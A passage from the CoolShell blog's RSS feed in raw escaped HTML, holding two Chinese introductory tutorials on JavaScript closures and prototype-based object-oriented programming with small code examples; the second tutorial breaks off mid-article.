个人自己的原则。不同的原则必然会把你导到不同的路上。不管你是否同意，视频中的那些演示是相当令人震撼的。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/17680.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/02/gitlab-600-150x150.jpg\" alt=\"从Gitlab误删除数据库想到的\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17680.html\" class=\"wp_rp_title\">从Gitlab误删除数据库想到的</a></li><li ><a href=\"https://coolshell.cn/articles/17459.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/08/HighAvailability-BK-150x150.png\" alt=\"关于高可用的系统\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17459.html\" class=\"wp_rp_title\">关于高可用的系统</a></li><li ><a href=\"https://coolshell.cn/articles/9949.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/07/inverted-bookshelf_thumb-150x150.jpg\" alt=\"IoC/DIP其实是一种管理思想\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9949.html\" class=\"wp_rp_title\">IoC/DIP其实是一种管理思想</a></li><li ><a href=\"https://coolshell.cn/articles/8387.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/10/Learnable_Programming-150x150.jpg\" alt=\"Bret Victor &#8211; Learnable Programming\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8387.html\" class=\"wp_rp_title\">Bret Victor &#8211; Learnable Programming</a></li><li ><a href=\"https://coolshell.cn/articles/5686.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg\" alt=\"多些时间能少写些代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5686.html\" class=\"wp_rp_title\">多些时间能少写些代码</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/6775.html\">Bret Victor – Inventing on Principle</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/6775.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>56</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>理解Javascript的闭包</title>\n\t\t<link>https://coolshell.cn/articles/6731.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/6731.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[Neo]]></dc:creator>\n\t\t<pubDate>Wed, 07 Mar 2012 00:30:43 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[ECMAScript]]></category>\n\t\t<category><![CDATA[Javascript]]></category>\n\t\t<category><![CDATA[OOP]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=6731</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>【感谢 Neo 投递本文 &#8211; 微博帐号：_锟_ 】 前言：还是一篇入门文章。Javascript中有几个非常重要的语言特性——对象、原型继承、闭包。...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/6731.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/6731.html\">理解Javascript的闭包</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>【<span style=\"color: #cc0000\">感谢 Neo 投递本文 &#8211; 微博帐号：<a title=\"_锟_\" href=\"http://weibo.com/gandalfthegrey\" target=\"_blank\">_锟_</a> </span>】</p>\n<p><strong>前言：还是一篇入门文章。</strong>Javascript中有几个非常重要的语言特性——对象、原型继承、闭包。其中闭包对于那些使用传统静态语言C/C++的程序员来说是一个新的语言特性。本文将以例子入手来介绍Javascript闭包的语言特性，并结合一点ECMAScript语言规范来使读者可以更深入的理解闭包。</p>\n<p>注：<strong>本文是入门文章，例子素材整理于网络<strong>，如果你是高手，欢迎针对文章提出技术性建议和意见。本文讨论的是Javascript，不想做语言对比，如果您对Javascript天生不适，请自行绕道。</strong></strong></p>\n<h4><strong><span style=\"color: #008000\">什么是闭包</span></strong></h4>\n<p>闭包是什么?闭包是Closure，这是静态语言所不具有的一个新特性。但是闭包也不是什么复杂到不可理解的东西，简而言之，闭包就是：<strong></strong></p>\n<ul>\n<li><strong>闭包就是函数的局部变量集合，只是这些局部变量在函数返回后会继续存在。</strong></li>\n<li><strong>闭包就是就是函数的“堆栈”在函数返回后并不释放，我们也可以理解为这些函数堆栈并不在栈上分配而是在堆上分配</strong></li>\n<li><strong>当在一个函数内定义另外一个函数就会产生闭包</strong></li>\n</ul>\n<p>上面的第二定义是第一个补充说明，抽取第一个定义的主谓宾——闭包是<strong>函数的‘局部变量’集合</strong>。只是这个局部变量是可以在函数返回后被访问。（这个不是官方定义，但是这个定义应该更有利于你理解闭包）</p>\n<p>做为局部变量都可以被函数内的代码访问，这个和静态语言是没有差别。闭包的差别在于局部变变量可以在函数执行结束后仍然被函数外的代码访问。这意味着函数必须返回一个指向闭包的“引用”，或将这个&#8221;引用&#8221;赋值给某个外部变量，才能保证闭包中局部变量被外部代码访问。当然包含这个引用的实体应该是一个对象，因为在Javascript中除了基本类型剩下的就都是对象了。可惜的是，ECMAScript并没有提供相关的成员和方法来访问闭包中的局部变量。但是在ECMAScript中，函数对象中定义的<strong>内部函数(inner function)</strong>是可以直接访问外部函数的局部变量，通过这种机制，我们就可以以如下的方式完成对闭包的访问了。</p>\n<p><span id=\"more-6731\"></span></p>\n<p>[javascript]<br />\nfunction greeting(name) {<br />\n    var text = &#8216;Hello &#8216; + name; // local variable<br />\n    // 每次调用时，产生闭包，并返回内部函数对象给调用者<br />\n    return function() { alert(text); }<br />\n}<br />\nvar sayHello=greeting(&quot;Closure&quot;);<br />\nsayHello()  // 通过闭包访问到了局部变量text<br />\n[/javascript]</p>\n<p>上述代码的执行结果是：Hello Closure，因为sayHello()函数在greeting函数执行完毕后，仍然可以访问到了定义在其之内的局部变量text。</p>\n<p>好了，这个就是传说中闭包的效果，闭包在Javascript中有多种应用场景和模式，比如Singleton，Power Constructor等这些Javascript模式都离不开对闭包的使用。</p>\n<h4><strong><span style=\"color: #008000\">ECMAScript闭包模型</span></strong></h4>\n<p>ECMAScript到底是如何实现闭包的呢？想深入了解的亲们可以获取<a href=\"http://www.ecma-international.org/publications/files/ECMA-ST/Ecma-262.pdf\">ECMAScript 规范</a>进行研究，我这里也只做一个简单的讲解，内容也是来自于网络。</p>\n<p>在ECMAscript的脚本的函数运行时，每个函数关联都有一个执行上下文场景(Execution Context) ，这个执行上下文场景中包含三个部分</p>\n<ul>\n<li>文法环境（The LexicalEnvironment）</li>\n<li>变量环境（The VariableEnvironment）</li>\n<li>this绑定</li>\n</ul>\n<p>其中第三点this绑定与闭包无关，不在本文中讨论。文法环境中用于解析函数执行过程使用到的变量标识符。我们可以将文法环境想象成一个对象，该对象包含了两个重要组件，环境记录(Enviroment Recode)，和外部引用(指针)。环境记录包含包含了函数内部声明的局部变量和参数变量，外部引用指向了外部函数对象的上下文执行场景。全局的上下文场景中此引用值为NULL。这样的数据结构就构成了一个单向的链表，每个引用都指向外层的上下文场景。</p>\n<p>例如上面我们例子的闭包模型应该是这样，sayHello函数在最下层，上层是函数greeting，最外层是全局场景。如下图：<br />\n<img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-6741\" src=\"https://coolshell.cn/wp-content/uploads/2012/03/closure.png\" alt=\"\" width=\"658\" height=\"478\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/03/closure.png 658w, https://coolshell.cn/wp-content/uploads/2012/03/closure-300x218.png 300w, https://coolshell.cn/wp-content/uploads/2012/03/closure-372x270.png 372w\" sizes=\"(max-width: 658px) 100vw, 658px\" /><br />\n因此当sayHello被调用的时候，sayHello会通过上下文场景找到局部变量text的值，因此在屏幕的对话框中显示出&#8221;Hello Closure&#8221;<br />\n变量环境(The VariableEnvironment)和文法环境的作用基本相似，具体的区别请参看ECMAScript的规范文档。</p>\n<h4><strong><span style=\"color: #008000\">闭包的样列</span></strong></h4>\n<p>前面的我大致了解了Javascript闭包是什么，闭包在Javascript是怎么实现的。下面我们通过针对一些例子来帮助大家更加深入的理解闭包，下面共有5个样例，例子来自于<a href=\"http://blog.morrisjohns.com/javascript_closures_for_dummies.html\">JavaScript Closures For Dummies(</a><a href=\"http://web.archive.org/web/20080209105120/http://blog.morrisjohns.com/javascript_closures_for_dummies\">镜像</a><a href=\"http://blog.morrisjohns.com/javascript_closures_for_dummies.html\">)</a>。<br />\n<strong>例子1:闭包中局部变量是引用而非拷贝</strong></p>\n<p>[javascript]<br />\nfunction say667() {<br />\n    // Local variable that ends up within closure<br />\n    var num = 666;<br />\n    var sayAlert = function() { alert(num); }<br />\n    num++;<br />\n    return sayAlert;<br />\n}</p>\n<p>var sayAlert = say667();<br />\nsayAlert()<br />\n[/javascript]</p>\n<p>因此执行结果应该弹出的667而非666。</p>\n<p><strong>例子2：多个函数绑定同一个闭包，因为他们定义在同一个函数内。</strong></p>\n<p>[javascript]<br />\nfunction setupSomeGlobals() {<br />\n    // Local variable that ends up within closure<br />\n    var num = 666;<br />\n    // Store some references to functions as global variables<br />\n    gAlertNumber = function() { alert(num); }<br />\n    gIncreaseNumber = function() { num++; }<br />\n    gSetNumber = function(x) { num = x; }<br />\n}<br />\nsetupSomeGlobals(); // 为三个全局变量赋值<br />\ngAlertNumber(); //666<br />\ngIncreaseNumber();<br />\ngAlertNumber(); // 667<br />\ngSetNumber(12);//<br />\ngAlertNumber();//12<br />\n[/javascript]</p>\n<p><strong>例子3：当在一个循环中赋值函数时，这些函数将绑定同样的闭包</strong></p>\n<p>[javascript]<br />\nfunction buildList(list) {<br />\n    var result = [];<br />\n    for (var i = 0; i &lt; list.length; i++) {<br />\n        var item = &#8216;item&#8217; + list[i];<br />\n        result.push( function() {alert(item + &#8216; &#8216; + list[i])} );<br />\n    }<br />\n    return result;<br />\n}</p>\n<p>function testList() {<br />\n    var fnlist = buildList([1,2,3]);<br />\n    // using j only to help prevent confusion &#8211; could use i<br />\n    for (var j = 0; j &lt; fnlist.length; j++) {<br />\n        fnlist[j]();<br />\n    }<br />\n}<br />\n[/javascript]</p>\n<p>testList的执行结果是弹出item3 undefined窗口三次，因为这三个函数绑定了同一个闭包，而且item的值为最后计算的结果，但是当i跳出循环时i值为4，所以list[4]的结果为undefined.</p>\n<p><strong>例子4：外部函数所有局部变量都在闭包内，即使这个变量声明在内部函数定义之后。</strong></p>\n<p>[javascript]<br />\nfunction sayAlice() {<br />\n    var sayAlert = function() { alert(alice); }<br />\n    // Local variable that ends up within closure<br />\n    var alice = &#8216;Hello Alice&#8217;;<br />\n    return sayAlert;<br />\n}<br />\nvar helloAlice=sayAlice();<br />\nhelloAlice();<br />\n[/javascript]</p>\n<p>执行结果是弹出&#8221;Hello Alice&#8221;的窗口。即使局部变量声明在函数sayAlert之后，局部变量仍然可以被访问到。</p>\n<p><strong>例子5：每次函数调用的时候创建一个新的闭包</strong></p>\n<p>[javascript]<br />\nfunction newClosure(someNum, someRef) {<br />\n    // Local variables that end up within closure<br />\n    var num = someNum;<br />\n    var anArray = [1,2,3];<br />\n    var ref = someRef;<br />\n    return function(x) {<br />\n        num += x;<br />\n        anArray.push(num);<br />\n        alert(&#8216;num: &#8216; + num +<br />\n        &#8216;\\nanArray &#8216; + anArray.toString() +<br />\n        &#8216;\\nref.someVar &#8216; + ref.someVar);<br />\n    }<br />\n}<br />\nclosure1=newClosure(40,{someVar:&#8217;closure 1&#8242;});<br />\nclosure2=newClosure(1000,{someVar:&#8217;closure 2&#8242;});</p>\n<p>closure1(5); // num:45 anArray[1,2,3,45] ref:&#8217;someVar closure1&#8242;<br />\nclosure2(-10);// num:990 anArray[1,2,3,990] ref:&#8217;someVar closure2&#8217;<br />\n[/javascript]</p>\n<h4><strong><span style=\"color: #008000\">闭包的应用</span></strong></h4>\n<p><strong>Singleton 单件：</strong></p>\n<p>[javascript]<br />\nvar singleton = function () {<br />\n    var privateVariable;<br />\n    function privateFunction(x) {<br />\n        &#8230;privateVariable&#8230;<br />\n    }</p>\n<p>    return {<br />\n        firstMethod: function (a, b) {<br />\n            &#8230;privateVariable&#8230;<br />\n        },<br />\n        secondMethod: function (c) {<br />\n            &#8230;privateFunction()&#8230;<br />\n        }<br />\n    };<br />\n}();<br />\n[/javascript]</p>\n<p>这个单件通过闭包来实现。通过闭包完成了私有的成员和方法的封装。匿名主函数返回一个对象。对象包含了两个方法，方法1可以方法私有变量，方法2访问内部私有函数。需要注意的地方是匿名主函数结束的地方的'()&#8217;，如果没有这个'()&#8217;就不能产生单件。因为匿名函数只能返回了唯一的对象，而且不能被其他地方调用。这个就是利用闭包产生单件的方法。</p>\n<h2><strong><span style=\"color: #008000\">参考：</span></strong></h2>\n<p><a href=\"http://blog.morrisjohns.com/javascript_closures_for_dummies.html\">JavaScript Closures For Dummies(</a><a href=\"http://web.archive.org/web/20080209105120/http://blog.morrisjohns.com/javascript_closures_for_dummies\">镜像</a><a href=\"http://blog.morrisjohns.com/javascript_closures_for_dummies.html\">)</a> 可惜都被墙了。<br />\n<a href=\"http://yuiblog.com/blog/2006/11/27/video-crockford-advjs/\">Advance Javascript</a> （Douglas Crockford 大神的视频，一定要看啊）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/6668.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/02/joo_1-150x150.png\" alt=\"再谈javascript面向对象编程 \" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6668.html\" class=\"wp_rp_title\">再谈javascript面向对象编程 </a></li><li ><a href=\"https://coolshell.cn/articles/6441.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" alt=\"Javascript 面向对象编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6441.html\" class=\"wp_rp_title\">Javascript 面向对象编程</a></li><li ><a href=\"https://coolshell.cn/articles/5202.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"对象的消息模型\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5202.html\" class=\"wp_rp_title\">对象的消息模型</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/01/pretty-code-150x150.gif\" alt=\"Chrome开发者工具的小技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_title\">Chrome开发者工具的小技巧</a></li><li ><a href=\"https://coolshell.cn/articles/17524.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/10/drawing-recursive-150x150.jpg\" alt=\"如何读懂并写出装逼的函数式代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17524.html\" class=\"wp_rp_title\">如何读懂并写出装逼的函数式代码</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/6731.html\">理解Javascript的闭包</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/6731.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>91</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>再谈javascript面向对象编程</title>\n\t\t<link>https://coolshell.cn/articles/6668.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/6668.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[Neo]]></dc:creator>\n\t\t<pubDate>Mon, 27 Feb 2012 00:25:13 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[ECMAScript]]></category>\n\t\t<category><![CDATA[Javascript]]></category>\n\t\t<category><![CDATA[OOP]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=6668</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>前言:虽有陈皓《Javascript 面向对象编程》珠玉在前，但是我还是忍不住再画蛇添足的补上一篇文章，主要是因为javascript这门语言魅力。另外这篇文章...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/6668.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/6668.html\">再谈javascript面向对象编程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><strong>前言:</strong>虽有陈皓<a href=\"https://coolshell.cn/articles/6441.html\">《Javascript 面向对象编程》</a>珠玉在前，但是我还是忍不住再画蛇添足的补上一篇文章，主要是因为javascript这门语言魅力。另外这篇文章是一篇入门文章，我也是才开始学习Javascript，有一点心得，才想写一篇这样文章，文章中难免有错误的地方，还请各位不吝吐槽指正</p>\n<h4><strong><span style=\"color: #008000\">吐槽Javascript</span></strong></h4>\n<p>初次接触Javascript，这门语言的确会让很多正规军感到诸多的不适，这种不适来自于Javascript的语法的简练和不严谨，这种不适也来自Javascript这个悲催的名称，我在想网景公司的Javascript设计者在给他起名称那天一定是脑壳进水了,让Javascript这么多年来受了这么多不白之冤，人们都认为他是Java的附属物，一个WEB玩具语言。因此才会有些人会对Javascript不屑，认为Javascript不是一门真正的语言，但是这此他们真的错了。Javascript不仅是一门语言，是一门真真正正的语言，而且他还是一门里程碑式的语言，他独创多种新的编程模式原型继承，闭包（<strong>作者注：闭包不是JS首创，应该Scheme首创，prototypal inheritance 和 dynamic objects 是self语言首创，Javascript的首创并不精彩,谢谢网友的指正。</strong>），对后来的动态语言产生了巨大的影响。做为当今最流行的语言（没有之一），看看git上提交的最多的语言类型就能明白。随着HTML5的登场，浏览器将在个人电脑上将大显身手，完全有替换OS的趋势的时候，Javascript做为浏览器上的一门唯一真真的语言，如同C之于 unix/linux，java之于JVM，Cobol之于MainFrame，我们也需要来重新的认真地认识和审视这门语言。另外Javascript的正式名称是：ECMAScript，这个名字明显比Javascript帅太多了！<br />\n<span id=\"more-6668\"></span><br />\n言归正传，我们切入主题——Javascript的面向对象编程。要谈Javascript的面向对象编程，我们第一步要做的事情就是忘记我们所学的面向对象编程。传统C++或Java的面向对象思维来学习Javascript的面向对象会给你带来不少困惑，让我们先忘记我们所学的，从新开始学习这门特殊的面向对象编程。既然是OO编程，要如何来理解OO编程呢，记得以前学C++，学了很久都不入门，后来有幸读了《Inside The C++ Object Model》这本大作，顿时豁然开朗，因此本文也将以对象模型的方式来探讨的Javascript的OO编程。因为Javascript 对象模型的特殊性，所以使得Javascript的继承和传统的继承非常不一样，同时也因为Javascript里面没有类，这意味着Javascript里面没有extends,implements。那么Javascript到底是如何来实现OO编程的呢？好吧，让我们开始吧，一起在Javascript的OO世界里来一次漫游</p>\n<p>首先，我们需要先看看Javascript如何定义一个对象。下面是我们的一个对象定义：</p>\n<p>[javascript]<br />\nvar o = {};<br />\n[/javascript]</p>\n<p>还可以这样定义一个对象</p>\n<p>[javascript]<br />\nfunction f() {<br />\n}<br />\n[/javascript]</p>\n<p>对，你们没有看错，在Javascript里面，函数也是对象。<br />\n当然还可以</p>\n<p>[javascript]<br />\nvar array1= [ 1,2,3];<br />\n[/javascript]</p>\n<p>数组也是一个对象。<br />\n其他关于对象的基本的概念的描述，还是请各位亲们参见陈皓<a href=\"https://coolshell.cn/articles/6441.html\">《Javascript 面向对象编程》</a>文章。<br />\n对象都有了，唯一没有的就是class，因为在Javascript里面是没有class关键字的，算好还有function，function的存在让我们可以变通的定义类，在扩展这个主题前，我们还需要了解一个Javascript对象最重要的属性，<strong>__proto__</strong>成员。</p>\n<h4><strong><span style=\"color: #008000\">__proto__成员</span></strong></h4>\n<p>严格的说这个成员不应该叫这个名字，__proto__是Firefox中的称呼，__proto__只有在Firefox浏览器中才能被访问到。<strong>做为一个对象，当你访问其中的一个成员或方法的时候，如果这个对象中没有这个方法或成员，那么Javascript引擎将会访问这个对象的__proto__成员所指向的另外的一个对象，并在那个对象中查找指定的方法或成员，如果不能找到，那就会继续通过那个对象的__proto__成员指向的对象进行递归查找，直到这个链表结束</strong>。<br />\n好了，让我们举一个例子。<br />\n比如上上面定义的数组对象array1。当我们创建出array1这个对象的时候，array1实际在Javascript引擎中的对象模型如下：<br />\n<img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-6675\" src=\"https://coolshell.cn/wp-content/uploads/2012/02/joo_1.png\" alt=\"\" width=\"416\" height=\"208\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/02/joo_1.png 416w, https://coolshell.cn/wp-content/uploads/2012/02/joo_1-300x150.png 300w\" sizes=\"(max-width: 416px) 100vw, 416px\" /><br />\narray1对象具有一个length属性值为3，但是我们可以通过如下的方法来为array1增加元素：</p>\n<p>[javascript]<br />\narray1.push(4);<br />\n[/javascript]</p>\n<p>push这个方法来自于array1的__proto__成员指向对象的一个方法(Array.prototye.push())。正是因为所有的数组对象（通过[]来创建的）都包含有一个指向同一个具有push,reverse等方法对象(Array.prototype)的__proto__成员，才使得这些数组对象可以使用push,reverse等方法。</p>\n<p>那么这个__proto__这个属性就相当于面向对象中的&#8221;has a&#8221;关系，这样的的话，只要我们有一个模板对象比如Array.prototype这个对象，然后把其他的对象__proto__属性指向这个对象的话就完成了一种继承的模式。不错！我们完全可以这么干。但是别高兴的太早，这个属性只在FireFox中有效，其他的浏览器虽然也有属性，但是不能通过__proto__来访问，只能通过getPrototypeOf方法进行访问，而且这个属性是只读的。看来我们要在Javascript实现继承并不是很容易的事情啊。</p>\n<h4><strong><span style=\"color: #008000\">函数对象prototype成员</span></strong></h4>\n<p>首先我们先来看一段函数prototype成员的定义，</p>\n<blockquote><p><strong>When a function object is created, it is given a prototype member which is an object containing a constructor member which is a reference to the function object</strong><br />\n当一个函数对象被创建时，这个函数对象就具有一个prototype成员，这个成员是一个对象，这个对象包含了一个构造子成员，这个构造子成员会指向这个函数对象。</p></blockquote>\n<p>例如：</p>\n<p>[javascript]<br />\nfunction Base() {<br />\n    this.id = &quot;base&quot;<br />\n}<br />\n[/javascript]</p>\n<p>Base这个函数对象就具有一个prototype成员，关于构造子其实Base函数对象自身，为什么我们将这类函数称为构造子呢？原因是因为这类函数设计来和new 操作符一起使用的。为了和一般的函数对象有所区别，这类函数的首字母一般都大写。构造子的主要作用就是来创建一类相似的对象。</p>\n<p>上面这段代码在Javascript引擎的对象模型是这样的<br />\n<img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-6678\" src=\"https://coolshell.cn/wp-content/uploads/2012/02/joo_2.png\" alt=\"\" width=\"382\" height=\"190\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/02/joo_2.png 382w, https://coolshell.cn/wp-content/uploads/2012/02/joo_2-300x149.png 300w\" sizes=\"(max-width: 382px) 100vw, 382px\" /></p>\n<h4><strong><span style=\"color: #008000\">new 操作符</span></strong></h4>\n<p>在有上面的基础概念的介绍之后，在加上new操作符，我们就能完成传统面向对象的class + new的方式创建对象，在Javascript中，我们将这类方式成为Pseudoclassical。<br />\n基于上面的例子，我们执行如下代码</p>\n<p>[javascript]<br />\nvar obj = new Base();<br />\n[/javascript]</p>\n<p>这样代码的结果是什么，我们在Javascript引擎中看到的对象模型是：<br />\n<img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-6680\" src=\"https://coolshell.cn/wp-content/uploads/2012/02/joo_3.png\" alt=\"\" width=\"403\" height=\"207\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/02/joo_3.png 403w, https://coolshell.cn/wp-content/uploads/2012/02/joo_3-300x154.png 300w\" sizes=\"(max-width: 403px) 100vw, 403px\" /></p>\n<p>new操作符具体干了什么呢?其实很简单，就干了三件事情。</p>\n<p>[javascript]<br />\nvar obj  = {};<br />\nobj.__proto__ = Base.prototype;<br />\nBase.call(obj);<br />\n[/javascript]</p>\n<p>第一行，我们创建了一个空对象obj<br />\n第二行，我们将这个空对象的__proto__成员指向了Base函数对象prototype成员对象<br />\n第三行，我们将Base函数对象的this指针替换成obj，然后再调用Base函数，于是我们就给obj对象赋值了一个id成员变量，这个成员变量的值是&#8221;base&#8221;，关于call函数的用法，请参看陈皓<a href=\"https://coolshell.cn/articles/6441.html\">《Javascript 面向对象编程》</a>文章<br />\n如果我们给Base.prototype的对象添加一些函数会有什么效果呢？<br />\n例如代码如下：</p>\n<p>[javascript]<br />\nBase.prototype.toString = function() {<br />\n    return this.id;<br />\n}<br />\n[/javascript]</p>\n<p>那么当我们使用new创建一个新对象的时候，根据__proto__的特性，toString这个方法也可以做新对象的方法被访问到。于是我们看到了：<br />\n<strong>构造子中，我们来设置‘类’的成员变量（例如：例子中的id），构造子对象prototype中我们来设置‘类’的公共方法。于是通过函数对象和Javascript特有的__proto__与prototype成员及new操作符，模拟出类和类实例化的效果。</strong></p>\n<h4><strong><span style=\"color: #008000\">Pseudoclassical 继承</span></strong></h4>\n<p>我们模拟类，那么继承又该怎么做呢？其实很简单，我们只要将构造子的prototype指向父类即可。例如我们设计一个Derive 类。如下</p>\n<p>[javascript]<br />\nfunction Derive(id) {<br />\n    this.id = id;<br />\n}<br />\nDerive.prototype = new Base();<br />\nDerive.prototype.test = function(id){<br />\n    return this.id === id;<br />\n}<br />\nvar newObj = new Derive(&quot;derive&quot;);<br />\n[/javascript]</p>\n<p>这段代码执行后的对象模型又是怎么样的呢？根据之前的推导，应该是如下的对象模型<br />\n<img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-6686\" src=\"https://coolshell.cn/wp-content/uploads/2012/02/joo_4.png\" alt=\"\" width=\"645\" height=\"216\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/02/joo_4.png 645w, https://coolshell.cn/wp-content/uploads/2012/02/joo_4-300x100.png 300w\" sizes=\"(max-width: 645px) 100vw, 645px\" /><br />\n这样我们的newObj也继承了基类Base的toString方法，并且具有自身的成员id。关于这个对象模型是如何被推导出来的就留给各位同学了，参照前面的描述，推导这个对象模型应该不难。<br 